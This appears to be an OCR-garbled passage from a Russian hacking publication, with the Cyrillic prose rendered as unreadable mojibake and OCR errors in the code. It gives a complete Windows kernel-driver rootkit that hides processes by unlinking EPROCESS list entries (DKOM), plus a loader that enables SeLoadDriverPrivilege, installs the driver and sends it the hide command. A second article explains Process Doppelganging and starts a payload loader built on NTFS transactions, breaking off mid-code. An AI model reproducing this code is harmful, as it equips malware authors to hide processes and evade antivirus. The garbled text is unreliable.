OC, ypoenr DIRQL cuuTaeTcs anmapaTHbIM M CaMbIM BBICOKHM 1O CPaBHEHHIO C TPO-
IPaMMHBIMH YPOBHSIMH.

MakeTbl 3anpoca BBoAa-BbiBoAa
(Input/Output Request Packet)

IRP — 310 3anpocsl, koTopble MocTynaoT k aApaisepy. MMenHo npu nomou IRP oaux
JpaiiBep MOXET «IOMPOCHUTHY CAeIaTh YTO-TO APYroH Apaisep, MO0 MOTYHHUTh 3ampoc
OT MporpaMmsl, kotopas uM ynpasisier. IRP ucnosnb3ytorcs aucneTyepoM BBOZA-BbIBOAA
OC. Yto6bl HayuHTh MPOrpamMMy BOCIIpHHHMATh Hawiu IRP, MbI 1O/KHBI 3aperucTpupo-
BaTh (PyHKLMIO 0OpaTHOrO BbI30Ba U HACTPOMTH Ha HEE MACCHB yKa3aTelled Ha QyHKLMH.
Kon BecbMa npocr:

for(x = 0; x < IRP MJ MAXIMUM FUNCTION; ++x)
pDriverObject->MajorFunction[x] = MyCallbackFunc;

A BOT KoA (yHKUMH-3ar/TyLIKHM, KOTOpas BCerha BO3BpAllaeT CTaTyCHBIH Kox
STATUS_SUCCESS. B stoit pyHkunn Mb1 o6pabarsiBaem 3anpoc IRP:

NTSTATUS MyCallbackFunk (PDEVICE OBJECT pDeviceObject, PIRP pIrp)

{
pIrp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (pIrp, IO NO _INCREMENT) ;

return pIrp->IoStatus.Status;

}

Teneps moboii 3anmpoc K HalleMy apaiBepy BbI3OBET (GYyHKLUIO-3arTyLIKy, KOTOpas BCe-
raa Bosepaitaer STATUS_SUCCESS. Ho uro, ecii HaM HyXHO TOMPOCHThL JpawBep
clienaTh YTO-TO KOHKPETHOe, Harlpumep, BbI3BaTh onpeaeneHHyo ¢yHkumio? g sToro
perucTpupyeM ynpasJsioLLyIO MPOLeaypy:

#define IRP MY FUNC 0x801

3neck Mbl 06BsiBHIH npouenypy ¢ umenem IRP_MY_FUNC u ee konom — 0x801. Yro-
Ob1 qpaiiBep ee o6paboTan, Mbl JOKHBI HACTPOUTH Ha HEE CCBUIKY, CO3/1aB TaKUM obpa-
30M JIOMOJIHUTEBHYIO TOYKY BXOJa B ApaiBep:

// 3BanonHmM Bce Komel IRP CCRUIKOM Ha (yHKLMIO-3aTUIylKYy
for(x = 0; x < IRP_MJ MAXIMUM FUNCTION; ++x)
pDriverObject->MajorFunction[x] = MyCallbackFunc;
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// Hacrpoumm Ber30B QyHkuym MyCallbackControl na 3anmpoc IRP MJ DEVICE CONTROL
pDriverObject->MajorFunction[IRP_MJ DEVICE CONTROL] = MyCallbackControl;

[Tocrnie 3TOro Ham Hy’KHO MOJY4YHTh yKa3aresb Ha ctek IRP, koTopeiii Mb1 Oynem o6paba-
ThIBaTh. D10 nenaercs npu nomoun ¢pyHkumu loGetCurrentlrpStackLocation, Ha Bxoz
KOTOpO# nojaetcs ykasarenb Ha naket. Kpome sroro, Heo6xoaumo Gyaer mojgy4uTb OT
JMCTieTYepa BBOJA-BbIBOJA pa3Mepbl Oy(hepoB BBOAA-BBIBOAA, YTOOBI MMETb BO3MOMXK-
HOCTB MepelaBaTh W MOJNy4YaTh JaHHbIE OT MOJIb30BATENbCKOro npuioxkenus. llabnaon-
HBIF KOJ Kapkaca oOpaboTumka yrnpassiomen NpoLeaypsl:

// ToslydaeM ykazaTejlb Ha cTek IRP mnakera

PIO STACK LOCATION pIrpSt = IoGetCurrentIrpStackLocation (pIrp);

// Tlomyuaem pazmep Oybepa BBOIA

ULONG InBuflen = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
// Tomyuaem paz3Mep Oydepa BEBOIA

ULONG OutBuflLen = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;
// ToslydaeM KOI yIpapJisdolei NpoLemypsl

ULONG CtrlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;

NTSTATUS status = STATUS_ SUCCESS;

swich (CtrlCode)

{
case IRP MY FUNC:

// 3mech KoOm, KOTOpEN OymeT BHBEBATLCA yNpaBisomeh npouemypoi IRP MY FUNC
break;

default:
status = STATUS INVALID DEVICE REQUEST;
break;

}

return status;

Co3paHue ycTpoucTBa ApavBepa

YT10oOBbl B3aMMOIEWCTBOBATh C ApPalBEpPOM, Mbl IODKHBI CO3/1aTh «O0BEKT-yCTPOHCTBO
npaiiBepay. [nsa asroro ucnonsdyem API-¢pynHkumio IoCreateDevice. Kpome Toro, mbl
CO3/1a/IMM CUMBOJIMYECKHE CChIIKM Ha Hall ApaiiBep, 4ToObl OH ObUT BUIEH B JUCTIETYEPE
BBOZIa-BbIBOZA B qupekTopun \Device. Eciu 3Toro He caenarb, To 00paTUThCS K 00BEKTY-
YCTPOMCTBY IpaiiBepa MOXKHO OyAeT TOJBKO M3 CaMOro JpaiiBepa, HO He W3 BHEIIHEro
npuiokeHus. Bot koa, koTopsiit co3naeT 00BEKT-yCTPOHCTBO ApaiiBepa U CUMBOJIHYE-
CKH€ CCBIJIKH Ha Hero:

#define NT DEV_NAME L"\\Device\\drv_dkom"
#define DOS_DEV NAME L"\\DosDevices\\drv_dkom"

NTSTATUS status = STATUS_ SUCCESS;
PDEVICE OBJECT pDvcObj = NULL;
UNICODE STRING usDrvName, usDosDvcName;
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RtlInitUnicodeString (&usDrvName, NT DEV_NAME) ;
RtlInitUnicodeString (&usDosDvcName, DOS DEV_NAME) ;

status = IoCreateDevice (pDriverObject, O,
&UsDrvName,
FILE DEVICE UNKNOWN,
FILE DEVICE SECURE OPEN,
FALSE, &pDvcObj);

if (!NT_SUCCESS (status)) {
return status;

status = IoCreateSymbolicLink (&usDosDvcName, &usDrvName) ;

if (!NT_SUCCESS (status)) {
IoDeleteDevice (pDvcObj) ;
return status;

}

HUtaK, Mbl paccMOTpesl OCHOBHBIE CTPYKTYpPHbIE €MHULbI IpaiiBepa pexkuma sjapa, yBH-
JeNM, Kak JpaiBep oOwaercs ¢ pexuMom usermode M Kak 3acTaBUTh €ro BbINOJIHATH
orpeJesieHHble KoMaHbl. Tenepb HanULIEeM caM JpaiBep pekuma siapa.

CkpbiTe npoueccoB metogom DKOM
(Direct Kernel Object Manipulation)

HacTtasio Bpems npuMeHHTDb NOJIy4YeHHbIE 3HAHMS O JpaiiBepax pexuma sjipa Ha MpakTHKe
Juta 3aKperuieHus pesysbstara. Celiyac Mbl Hanmiuem apaiisep KMDF nns ckpbitus npo-
LIECCOB METOJAOM NpsiMOi MaHumysiLuu oobektamu siapa (DKOM). Kak nmeHHO Mbl Oy-
JIEM CKpbIBaTh Hauu npoiecchl? Mudopmaims o npoueccax XpaHUTes B CTPYKType sapa
noa HazBaHueM EPROCESS., Tak uto oOparumcs K Heil.
Ctpyktypa EPROCESS, 6nok npouecca. B Hell coaepXutcs MHOro uHdgopmauum o npo-
Lecce, ykasaTenu Ha HeCKonbKo CTPYKTyp AaHHbix, Hanpumep PEB, ctpyktypy KPROCESS,
ctpyktypel KTHREAD n ETHREAD. 31a cTpykTypa 3anonHsaeTcsi UCNONHUTENBHON cucTe-

Mo OC, HaxoauTcs B CUCTEMHOM agpecHoM npoctpaHcTee (kernelmode), kak v Bce cBs-
3aHHble CTPYKTypbl, kpome PEB. Bce npouecchl UMEIOT 3Ty CTPYKTYpY.

Yrobel yBuaete EPROCESS camocTosTenbHO, 10CTATOMHO MOAKIIOYHTHCS SAEPHBIM
ornaaunkom WinDbg k siapy OC u BBecTH komMaHay dt EPROCESS. [Tociie 3TOro Tol yBH-
JIMILb YTO-TO BPOJE 3TOr0 (CMELLEHHs OTIIMYAIOTCS B pa3HbIX Bepeusx siaep Windows):

lkd> dt _EPROCESS

nt! EPROCESS

+0x000 Pcb : _KPROCESS
+0x2d8 ProcessLock : _EX PUSH LOCK
+0x2e0 RundownProtect : _EX RUNDOWN REF
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+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : LIST ENTRY
+0x300 Flags2 : Uint4B

+0x300 JobNotReallyActive : Pos 0, 1 Bit
+0x300 AccountingFolded : Pos 1, 1 Bit
+0x300 NewProcessReported : Pos 2, 1 Bit
+0x300 ExitProcessReported : Pos 3, 1 Bit
+0x300 ReportCommitChanges : Pos 4, 1 Bit
+0x300 LastReportMemory : Pos 5, 1 Bit
+0x300 ForceWakeCharge : Pos 6, 1 Bit
+0x300 CrossSessionCreate : Pos 7, 1 Bit
+0x300 NeedsHandleRundown : Pos 8, 1 Bit
+0x300 RefTraceEnabled : Pos 9, 1 Bit
+0x300 DisableDynamicCode : Pos 10, 1 Bit
+0x300 EmptyJobEvaluated : Pos 11, 1 Bit

Pa3ymeetcs, 9TO He BCs CTPYKTypa, OHa HECKOJbKO Oosjbuie. OTnaguuK TMOKa3biBaeT
cMellieHHs mosiel oTHocuTeapbHO Havana ctpyktypsl EPROCESS. B Heili Hac uHTepecy-
I0T  Heckoiabko  rmosed.  ActiveProcessLinks —  ykasarenb Ha  cTpyKTypy
_LIST_ENTRY, kortopas, B CBOIO Oue€peAb, yKa3blBae€T Ha IMPOLECCHI TOC/E HALLero
(FLink) u nepen Hum (BLink). Yro6s1 66110 nousitHee, BoT npototun _LIST _ENTRY:

typedef struct LIST ENTRY {
struct LIST ENTRY *FLink;
struct LIST ENTRY *BLink;
} LIST_ENTRY, *PLIST ENTRY;

Pa3MCpbl, THUIbI JAHHBIX W CMECILLICHUSA OT Havdalla CIIMCKa:

1kd> dt _LIST ENTRY

nt! LIST ENTRY

+0x000 Flink : Ptr6e4 _LIST ENTRY
+0x008 Blink : Ptr64 _LIST ENTRY

Kak TblI MoOr jorajarecs, Hama 3ajavya — YAAJIMTh MPOLIECC W3 3TOrO CIUCKA, YTOOBI
clenaTh €ro HeBUAMMBIM. A ecau TouHee, noanpasuTh 3anvck BLink u FLink takum
o0pa3om, 4TOObI OHHM «MPOIMYCKaJIW» HYXHbIH npouecc. I 3TOro MpoBEpUM KasKIblid
npoLece B 9TOM clUcKe Ha HyxkHbIH Ham PID u, ecnu Haiinem ero, BbI3oBeM (YHKIHIO
3amenbl nosieil BLink u FLink. PID MBI Taroke MOXXeM MNOIY4YHTh W3 CTPYKTYpPbI
EPROCESS, nyxHoe none Ha3biBaetcsi UniqueProcessID. [lns nonyyenus Onoka
EPROCESS Bocnosnb3yemes ¢ynkuueit PsGetCurrentProcess, koTopasi BepHeT ykasa-
TeJb Ha HEro:

// OOBSBMM HyXHBE CMEIEeHMSd, akTyasbHele mig Windows 10 x64
#define UniqueProcessId 0x2e8

#define ActiveProcessLinks 0x2f0

#define ImageFileName 0x450

#define IRP HIDE PROC 0x801



O—— 119 —0

#define NT DEV_NAME L"\\Device\\drv_dkom"
#define DOS_DEV_NAME L"\\DosDevices\\drv_dkom"

NTSTATUS DriverEntry (PDRIVER OBJECT pDriverObject, PUNICODE_ STRING pRegPath)
{

// Co3mamm yCTPOMCTBO OpalBepa ¥ HACTPOMM CUMBOJIMUECKMUE CCBUIKM

NTSTATUS status = STATUS_ SUCCESS;

PDEVICE OBJECT pDvcObj = NULL;

UNICODE STRING usDrvName, usDosDvcName;

RtlInitUnicodeString (&usDrvName, NT DEV_NAME) ;
RtlInitUnicodeString (&usDosDvcName, DOS_DEV_NAME) ;

status = IoCreateDevice (pDriverObject, O,
&usDrvName,
FILE DEVICE_ UNKNOWN,
FILE DEVICE_SECURE OPEN,
FALSE, &pDvcObi):

if (!NT_SUCCESS (status)) {
return status;

status = IoCreateSymbolicLink (&usDosDvcName, &usDrvName) ;

if (!NT_SUCCESS (status)) {
IoDeleteDevice (pDvcObj) ;
return status;

// HactpomM IRP Ha QyHKLMIO-3aIUIYIIKY, Hally OCHOBHYI padouyi (QyHKLMO
U QYHKUMIO BHI'DY3KM OpaiBepa
// 3BanojHMM BCe KOIE IRP CCHUIKOM Ha OYyHKUMIO-3aIUIylWKy
int x;
for (x = 0; x < IRP MJ MAXIMUM FUNCTION; ++x)
pDriverObject->MajorFunction[x] = MyCallbackFunk;

pDriverObject->MajorFunction[IRP_MJ DEVICE CONTROL] = MyControlHide;
// HacTpowm BH3OB QyHkiuym MyCallbackControl Ha 3ampoc IRP MJ DEVICE CONTROL

pDriverObject->DriverUnload = DrvUnload;

return status;

VOID DrvUnload (PDRIVER OBJECT pDriverObject) {
// BHITpy3Ka: yIOaJisieM CUMBOJIMYECKME CCRUIKM M YCTPOMCTEO
IoDeleteSymbolicLink (&usDosDvcName) ;
IoDeleteDevice (pDriverObject->DeviceObject) ;
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NTSTATUS MyCallbackFunk (PDEVICE OBJECT pDeviceObject, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS SUCCESS;
IoCompleteRequest (pIrp, IO NO INCREMENT) ;

return pIrp->IoStatus.Status;

NTSTATUS MyControlHide (PDEVICE OBJECT pdevObj, PIRP pIrp)
{
// TonmydaeM ykazaTejlb Ha cTek IRP makera
PIO STACK LOCATION pIrpSt = IoGetCurrentIrpStackLocation (pIrp);

// TomydaeMm pas3Mmep Oydepa BBOIA

ULONG InBufLen = pIrpSt->Parameters.DeviceIoControl.InputBufferLength;
// TosydyaeM paszmep Oybepa BHBOOA

ULONG OutBufLen = pIrpSt->Parameters.DeviceIoControl.OutputBufferLength;
// TonydaeMm KOI YNpPAaBJIsiomWel MpoLenypsl

ULONG CtrlCode = pIlrpSt->Parameters.DeviceIoControl.IoControlCode;

NTSTATUS status = STATUS_ SUCCESS;
switch (CtrlCode) {

case IRP_HIDE PROC:
InBuflen = pIlrp->AssociatedIrp.SystemBuffer;
pIrp->IoStatus.Information = strlen(InBuflen) ;
hide proc(InBuflLen);

break;

default:
status = STATUS INVALID DEVICE REQUEST;
break;

¥

return status;

VOID hide proc (char *pc)

{
// Momuduumpyem nosna FLink m BLink
PEPROCESS currentProc = (PEPROCESS)PsGetCurrentProcess();
PEPROCESS startProc = (PEPROCESS)PsGetCurrentProcess () ;

PLIST ENTRY activeProcLinks;
PUCHAR pImageFileName;
PUINT32 pPidProc;
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for (; ((DWORD64)startProc != (DWORD64)currentProc);)

{
pImageFileName = (PUCHAR) ( (DWORD64)currentProc + ImageFileName);
pPidProc = (PUINT32) ( (DWORD64)currentProc + UniqueProcessId);

activeProcLinks = (PLIST ENTRY) ( (DWORD64)currentProc +
ActiveProcessLinks) ;

startProc = (PEPROCESS) ( (DWORD64)activeProcLinks—>
Flink - ActiveProcessLinks);

if (!strcmp((const char*)pImageFileName, TEXT (pc))) {

* ( (PDWORD64) activeProcLinks->Blink) = (DWORD64)activeProcLinks->
Flink;

* ( (PDWORD64) (activeProcLinks->Flink) + 1) =
(DWORD64) activeProcLinks->Blink;

activeProcLinks->Blink = (PLIST ENTRY)&activeProcLinks->Flink;
(PLIST_ENTRY) &activeProcLinks->Flink;

activeProcLinks->Flink

}

Camoe uHTepecHoe npoucxoaut B ¢pyHkuuu hide_proc, TouHee B ee LKiIe: Mbl 00X0AUM
ABYCBA3HBINA cnucok ¥ Moauduuupyem noias FLink u BLink. C 3Toro MoMeHTa LieneBon
npouecc OyzaeT ckpbIT. Tenepp nepeiieM K He MeHee BaXKHOMY BOIPOCY — CO3/1aHHIO
ynpaB/sioLleld nporpaMMbl U1 Haulero apaiBepa. OHa J0/DKHA 3arpy»arh JApawBep U
OTIPaBJIATh €My KOMaH/IbI.

3arpy34yuk apanBepoB

3arpy3uTh ApaiiBep B PO MOXHO HECKOJIBKHMH CIOCOOaMH, cCaMble TMOMYJIPHBIE W3
HHUX — 3T0 3arpy3ka rnpu nomoiu SCM (Service Control Manager) u ¢ UCIIOJIb30BaHUEM
NTAPI-¢pynkuuu NtLoadDriver. Mbl BoiOepeM nepBblii BapHaHT, Kak PEKOMEHI0BaH-
Hblii Microsoft U u30aBAsAIOLMIA HAC OT MHOTMX W3JIMIUHUX MAHHUIYJALMA: OCHOBHYIO
paborty 3a Hac caenaet umeHHo Service Control Manager. Ho a1 Hauana 3agaaum HyxX-
Hbl€ MPUBUIIETHH:

BOOL setPrivileges (LPCTSTR szPrivName)
{
TOKEN PRIVILEGES tp = { 0 };
HANDLE hToken = 0;

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE ENABLED;

if (!OpenProcessToken (GetCurrentProcess (), TOKEN ADJUST PRIVILEGES,
&hToken) )

std::cout << "OpenProcessToken failed\n";
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if (!LookupPrivilegeValue (NULL, szPrivName, &tp.Privileges[0].Luid))
std::cout << "LookupPrivilegeValue failed\n";

if (!AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof (tp), NULL, NULL))
{

std::cout << "AdjustTokenPrivileges failed\n";

CloseHandle (hToken) ;

return TRUE;

return FALSE;
}

Bb130B GyHKLHH:

setPrivileges ("SeLoadDriverPrivilege");

[Tocne 3Toro peructpupyem JpadiBep B cUCTeMe (NPOBEPKM Ha YCHELIHOCTh BBI30BOB
YMBIIUIEHHO OIyCKalo U1 JTyqlIel YUTAeMOCTH KO/a):

// TlyTb K HamweMmy IOpaneepy

#define DRV "c:\\\\Windows\\System32\\drivers\\dkomdrv.sys"
// VmMa cepeBuca

#define SRV "dkomdrv"

// Vims ycrpoiicTea

#define DVC "\\\\.\\dkomdrv"

// Kom, roBOpAuMi IOpaiBepy CKPHTL IPOLECcC

#define IRP_HIDE PROC 0x801

SC_HANDLE hSCMgr,hSrv;
HANDLE hDvc;

// OrkpreBaem SCM
hSCMgr = OpenSCManager (NULL, NULL, SC MANAGER ALL ACCESS);

// CozpmaeMm cepsucC

hSrv = CreateService (
hSCManager,
TEXT (SRV) ,
TEXT (SRV) ,
SC_MANAGER ALL ACCESS,
SERVICE KERNEL DRIVER,
SERVICE_DEMAND START,
SERVICE ERROR IGNORE,
TEXT (DRV) ,
NULL, NULL, NULL, NULL, NULL

)7

// 3BanyckaeMm cepBucC
StartService (hSrv, 0, NULL);
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HUrak, npaiiBep ycraHOoBieH W 3amyuleH. Ternepb camoe BaKHOE: Mbl JO/DKHBI MOCIATh
JpaiBepy ynpaBsOLIMHA KO, KOTOPbIH 3aCTaBUT €ro CKpbITh HYXHbII HaM rpouecc (OH
3a/1aeTcs nnepeMeHHoH pid):

hDvc = CreateFile(
TEXT (DEVICE) ,
GENERIC READ | GENERIC WRITE,
Ol
NULL,
OPEN_EXISTING,
FILE ATTRIBUTE NORMAL,
NULL
)7

BOOLEAN total = DevicelIoControl (
hDevice,
IRP_HIDE PROC, // Ham ynpaBisioumil KOI
pid,
strlen(pid) + 1,
retbuf,
200,
&bytes returned,
(LPOVERLAPPED) NULL
)

[Tocne 3TOro HyKHO 3aKpbITh BCE OTKPBITbIE XE€H/UIBI, TUIIOC MOXKHO 100aBUTh MPOBEPKH
YCMEUHOCTH BbI30BOB (DYHKLMH, HO S PELIW 3TO Bce yOpaTb, 4TOObI Thl BUJEI YETKYIO
NOCJE10BaTENbHOCTL IEHCTBUH A1 3arpy3Ky M yNpaBiIeHHs ApalBEpOM, HE OTBIIEKAsCh
HHU Ha 4to. [locyie BBIMOMHEHHS 3TOrO KOZAA HYXKHbIHM MPOLECC UCUE3HET U3 AMcIeT4Yepa
3a/1a4 U U3 OObLLIMHCTBA MPHIOKEHUH, KOTOpble paboTarOT ¢ MPOLIECCaMHU.

UTtormn

Mbl 03HAKOMHJIUCH C OCHOBHBIMH MOHSATHSMH, KOTOpPbIE HYKHO 3HaTh O JpaiBepax pe-
JKMMa f7pa, M CO3JalM COOCTBEHHbIH apaiBep, CKpbIBAIOIUMHA MNPOLIECCHl METOAOM
DKOM. Pa3zymeercs, 3T0 TOJIBKO caMO€ HAyajo IMyTH B W3YYEHHM JpalBEPOB, HO B O1-
HOHM HeOOoMbLIOH 3aMeTKe YMECTHTh BCE HEBO3MOXKHO — 10 3TOM TeMe IMHMLIYTCS Liejble
kHUru. Ho 4toObl HauaTh COOCTBEHHbIE HKCMEPUMEHTBI, 3TOro XBaTuT. Kak Buauuib,
MUCATh CBOM JIpaliBepbl HE TaK CJI0KHO, KAK MOTJIO MOKa3aTbes!
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11. Mackupyem 3anyckK npoLeccosB
npu nomowwu Process Doppelganging

—=

Nik Zerof

Ha xondepenuuu Black Hat Europe 2017 Obu1 mpeactaBneH 10KjIaa O HOBOW TEXHHKE
3arycka npoteccos noJ HazBanuem Process Doppelgédnging. Bupmeiikepb ObicTpo B3siin
3Ty TEXHMKY Ha BOOpPYJKEHHE, U y’Ke €CTb HECKOJIbKO BapHaHTOB MaJBapH, KOTOpas ee
sKcrutyaTupyet. S pacckaxy, B uem cyTb Process Doppelgénging u Ha kakie cHCTEMHbIE
MeXaHHU3Mbl OH OnUpaeTcs. 3a0HO HanuieM HeOOIbLION 3arpy34MK, KOTOPbIH 1eMOHCT-
PUpYET 3aImycK OJHOro MpoLecca Mo BUIOM JIpyroro.

Texnuka Process Doppelgdnging uem-To Mmoxoska Ha CBOEro MpeiiecTBEHHUKA —
Process Hollowing, HO oTiMuaeTcs MeXxaHU3MaMu 3arycKa MpUIOKEHHS U B3aUMOJIEHCT-
BUS C 3arpy3uMKOM OINeEpaLMOHHOM cucTeMbl. Kpome Toro, B HOBOH Te€XHHKe MpUMEHS-
torcs  MexaHusm  TpaHzakuvii NTFS wu  coorserctBytomme WinAPI, nanpumep
CreateTransaction, CommitTransaction, CreateFileTransacted u RollbackTransaction,
KOTOpbIe, pazymeeTcs, He ucnoub3ytorest B Process Hollowing.

DTO OAHOBPEMEHHO CHIbHAs W cnabas 4yepra HOBOW TEXHUKM COKPBITHS TPOLECCOB.
C 0aHO#H CTOPOHBI, pa3palOTYMKKU AHTUBUPYCOB M MPOYEro 3alMTHOrO codra He ObLIM
rOTOBBbI K TOMY, YTO Ul 3aMycka BPEAOHOCHOro koaa OyayT ucnonb3oBanbl WinAPI,
oteeyvarolue 3a tpanzakumu NTFS. C apyroit cropoHsl, nocsie Aokiaga Ha KOH(epeH-
uuu 311 WinAPI cpasy nonaayt noa noaospeHue, eciau OyayT BCTpedaThes B UCTIOJHSE-
MOM koje. Y Hey TMBUTE/IbHO: 9TO PeAKHE CUCTEMHbIE BbI30BbI, KOTOPbIE MPAKTHUECKH HE
NPUMEHSIOTCS B 0OBbIYHBIX nporpammax. KoHe4yHO, ecTh HECKOIBKO CMOCOOOB CKpPbITH
BbI30BbI WINnAPL, HO 3TO yke Apyrasi MCTOpHS, a ceiuac Mbl KMEeM HEIJIOXOW KOHLENNT,
KOTOPbI MOXKHO pa3BUBATh.

Pa3nnuua Process Doppelganging
n Process Hollowing

[Iupoko pacrpocTpaHeHHass B Y3KHX KpyraX TeXHHKa 3alycka HCIOJIHAEMOro KojJa
Process Hollowing 3akiatoyaercs B mojmMeHe KoAa TNMPUOCTAHOBICHHOIO JErMTHMHOIO
npolecca BPpeIOHOCHBIM KOJIOM M TOCJEIYIOLeM €ro BbIMOJHeHUH. BoT obumii nian
neiicreuii npu Process Hollowing.

1. Ilpu nomomu CreateProcess OTKpbITb JIETMTUMHBIH OBEPEHHBIN MPOLIECC, YCTaHO-
BuB prar CREATE_SUSPENDED, uto0bI nporecc npuocTaHOBHIICS.
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2. CkpeiTb OTOOpaXK€HHE CEKLMH B aJIpPEeCHOM IPOCTPAHCTBE MpoLecca MPH MOMOLLH
NtUnmapViewOfSection.

3. Ilepe3anucatb Ko Hy>XHbIM NpU oMo WriteProcessMemory.
4. 3anyctutbes npu nomoui ResumeThread.

ITo cyTu, MBI BpyuHytO MeHsieM paboTy 3arpy3urka OnepalMoHHOW CUCTEMBI U [IEIaeM 3a
HEro 4acTb paboThl, MOMYTHO MOJAMEHSS KO B maMaTH. B cBoio ouepenb, 11 peaiusa-
UMK TeXHUKH Process Doppelgédnging Ham Hy»HO BBITIOJTHUTb TAKHE LIArH:

1. Co3snaem HoByto Tpanzakumio NTFS npu nomoum ¢pyHkuuu CreateTransaction.

2. B KOHTeKcTe TpaH3aKLMH CO3/aeM BpeMeHHbI (aiin 1is Hawero koxa (yHKuuen
CreateFileTransacted.

3. Co3naem B mamsatu Oydepbl 1is BpeMeHHOro ¢aiina (00beKkT «cekuus», QyHKUHs
NtCreateSection).

4. Ilposepsiem PEB.
5. 3anyckaem npouecc yepe3 NtCreateProcessEx|ResumeThread.

Boo6ue, Texnonorus tpanszakuuii NTFS (TxF) nossunace B Windows Vista Ha ypoBHe
apaiieepa NTFS u ocranack Bo Bcex nocieyroLMX ONepaLMOHHbIX CHCTEMaX 3TOro ce-
MeHCTBa. DTa TEXHOJIOTHs MPU3BaHa MOMOYb MPOM3BOAUTDH pa3/InyHble onepauuy B dai-
noso# cucreme NTFS. Takoke oHa HHOTIa UcTIONb3yeTcs MpU paboTe ¢ 6a3aMu JaHHbIX.

Onepauun TxF cuutarorcss aroMapHbIMH — MOKa MPOMCXOOUT paboTa ¢ TpaH3akKUHUeH
(u cBA3aHHBIMM C Hel (aiinamH), 1O ee 3aKpbITHS WM OTKaTa OHAa HE BUHA HUKOMY.
U ecnu Oyzner oTkar, TO onepauus He U3BMEHUT HUYEro Ha XKEeCTKOM aucke. TpaH3akuuio
MOXHO co3zaTh npu nomoiuu GpyHkuuu CreateTransaction ¢ HyJleBbIMH NTapaMeTpaMH,
a Moc/eHNI NapaMeTp — Ha3BaHWE TpaH3aKLMK. [IpOTOTHUI BBIMIAAUT TaKUM 00pa3oMm:

HANDLE CreateTransaction (
IN LPSECURITY_ATTRIBUTES lpTransactionAttributes OPTIONAL,

IN LPGUID UOW OPTIONAL,
IN DWORD CreateOptions OPTIONAL,
IN DWORD IsolationLevel OPTIONAL,
IN DWORD IsolationFlags OPTIONAL,
IN DWORD Timeout OPTIONAL,
LPWSTR Description

Kak nonb3oBatbca
HeaoKyMeHTUpoBaHHbIMU NTAPI
B kozne Mbl Oyaem ucnonb3oBath HenokymeHTupoBaHHble GyHKUMH NTAPI Windows.

OHH nonyyaloTcs AWHAMHYECKH 110 CBOEMY MPOTOTHITY. BOT OIMH U3 BO3MOXKHBIX METO-
JI0B MOJIy4€HHs HEOKYMEHTHPOBAHHBIX (PyHKLMH K paboThl ¢ HUMH.
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O6mwaBnsem npototun GyHkuun NtQueryInformationProcess:

typedef NTSTATUS (WINAPI *NtQueryInformationProcess) (HANDLE,
UINT,
PVOID,
ULONG,
PULONG) ;

Ha nery monmyvaem anpec HyxHoW (pyHkunu B 6ubnuoreke ntdll.dll no ee umenn npu
nomouiu GetProcAddress u nprcBavBaeM ero NepeMEeHHOM Hallero MPOTOTHUIIA:
pNtQueryInformationProcess NtQueryInfoProcess = (pNtQueryInformationProcess)
GetProcAddress (
LoadLibrary (L"ntdl1l.d11"),
"NtQueryInformationProcess"
)i
3neck ucnonb3yem ¢yHkimo NtQuerylnformationProcess oGbuHbIM 06pa3om, TONBKO
yepe3 Hally MepeMEeHHYIO:

NTSTATUS Status = pNtQueryInfoProcess(...);
if (Status == 0x00000000) return 0;

Tak nomy4aroTcs U UCTIONB3YIOTCS BCE HEOOXOAUMbIE HEIOKYMEHTHPOBaHHbIE (YHKLIHH,
KOTOpbIe 00BbI4HO BbIHOCAT B header mpoekra.

Mpucrtynaem k pabote

HaunHaeM nucaTe MpUIOKEHHE C CaMOro Havasia. YCIOBHMCS, YTO Halle MPHIOKEHHE
(neiinoan), koropoe HEOOXOOAUMO OYIET 3aIyCTUTh OT UMEHU JPYroro MpHIoxKeHus (ie-
nm), OyeT nepenaBaThCs B KAUECTBE BTOPOro apryMeHTa, a LieJib — B KaYeCTBe MEePBOro:

int main(int argc, char *argv[]) {

WCHAR descr([MAX PATH] = { 0 };

HANDLE hTrans = CreateTransaction (NULL,
0,

O/

OI

OI

Or

descr) ;

if (hTrans == INVALID HANDLE VALUE)
return -1;

Hanee co3naeM GUKTUBHBINA BpeMEHHBIH (aisl B KOHTEKCTe TPaH3aKLHH.

HANDLE hTrans_file = CreateFileTransacted(dummy file,
GENERIC WRITE | GENERIC READ,
Ol
NULL,
OPEN_EXISTING,
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FILE ATTRIBUTE NORMAL,
NULL,

hTrans,

NULL,

NULL) ;

if (hTrans_file == INVALID HANDLE VALUE)
return -1;

B nepemenHoli dummy_file — nyTth k TOMy ¢aiiny, Moa KOTOpbIH Mbl MacKUpyeMmcs.
51 6yny craparbes Bceraa MpUBOIUTH MPOTOTHIBI HEAOKYMEHTUPOBAHHbBIX (YHKLIHH: BOT
nporotun CreateFileTransacted:

HANDLE CreateFileTransactedA (

LPCSTR 1pFileName,

DWORD dwDesiredAccess,

DWORD dwShareMode,
LPSECURITY ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile,

HANDLE hTransaction,

PUSHORT pusMiniVersion,

PVOID lpExtendedParameter

)i

IIaJIee HE0OX0IMMO BbIJIEJIUTh NAMSATh JJIA Hallero neinoanaa. ITO MOXHO CJieJ1aTh MNpH
NMOMOULIX MarrnuHra, a MoXXHO 1 00bIYHBIM BbI30BOM malloc:

HANDLE input payload = CreateFile(argv([2],
GENERIC_READ,
O ’
NULL,
OPEN_EXISTING,
FILE ATTRIBUTE NORMAL,
NULL) ;

if (input payload == INVALID HANDLE VALUE)
return -1;

BOOL status = GetFileSizeEx (input payload, &pf size);
if (!status) return -1;

DWORD dwf size = pf size.LowPart;
BYTE *buf = (BYTE *)malloc(dwf size);
if (!'buf) return -1;

Jlymato, 4TO 3TOT KOJ He BbI30BET y TeOS HMKAKMX TPYAHOCTEH: 3/€Chb MCIOJIb3YHOTCS
craiaapthbie GyHkuud WinAPI u ¢yukuun s3eika C. Mtak, Oydep B mamMaTH rotos,
Tenepb 3aroIHUM ero:
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DWORD read bytes = 0;
DWORD overwrote = 0;

if (ReadFile (input payload, buf, dwf_size, &read bytes, NULL) == FALSE)
return -1;
if (WriteFile (hTransactedFile, buf, dwf size, &overwrote, NULL) == FALSE)

